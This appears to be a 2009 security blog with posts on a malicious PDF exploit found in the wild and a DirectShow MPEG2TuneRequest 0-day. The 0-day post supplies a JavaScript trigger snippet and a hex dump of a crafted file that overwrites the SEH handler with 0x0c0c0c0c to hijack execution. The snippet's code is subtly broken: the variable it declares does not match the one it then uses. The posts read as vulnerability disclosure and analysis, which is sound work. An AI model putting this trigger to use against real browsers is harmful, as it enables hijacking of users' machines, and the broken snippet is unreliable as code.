PornoSecurity

Update: PDF sploits in the wild

Posted on 2009-07-24 16:15:34 in PornoSecurity

I wanna add just a bit to the last post. It turns out that the evil site serving the malicious PDF uses ActionScript to spray the heap and to inject the shellcode in memory. Here it is the full code, enjoy.

PDF sploits in the wild

Posted on 2009-07-23 21:37:04 in PornoSecurity

Just a couple of minutes ago I was taking my dayly dose of interweb when I stumbled upon the xorl blog, who linked this pdf that was linked by hdmoore from a live malware site. I googled a bit to find the live site and I found it. Xorl stated that it seems to be CVE-2009-1856, an integer overflow that iDefense said it could result in a heap buffer being overflowed. It could be, yes, but actually if you load this PDF you'll get a stack overflow and a wonderful SEH overwrite:

 

 

I'm not saying that it's not CVE-2009-1856 and I don't have the time to take a closer look at the vuln right now(actually I going to go to get drunk :). It smashes the stack yes, but the root cause could be an overly long heap buffer copied(it's an strcat) onto the stack. You may wonder what's the sexy thing in here... well, take a look at the pdf :)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

   

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

funny eh? :)

 

MPEG2TuneRequest 0-day

Posted on 2009-07-07 16:57:01 in PornoSecurity

Again, another DirectShow vulnerability.

This time it is a stack based buffer overflow triggered by passing an url of a crafted file to the "data" property of an MPEG2TuneRequest object. This is how a malicious script looks like:

my obj = document.createElement('object');
myObject.data='logo.gif';
obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';

This is the hex dump of the malicious file:

00030000 11203400 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000
00000000 0000FFFF FFFF0C0C 0C0C00

The seventh byte of the file(0x34) is used as an argument for the ReadFile function:

 

 

As you can see 0x34 bytes are being copied to the stack and a SE Handler is being overwritten. The SEH will be overwritten with the 4 bytes at offset 63 within the file(0x0c0c0c0c) thus hijacking the execution flow at the first exception.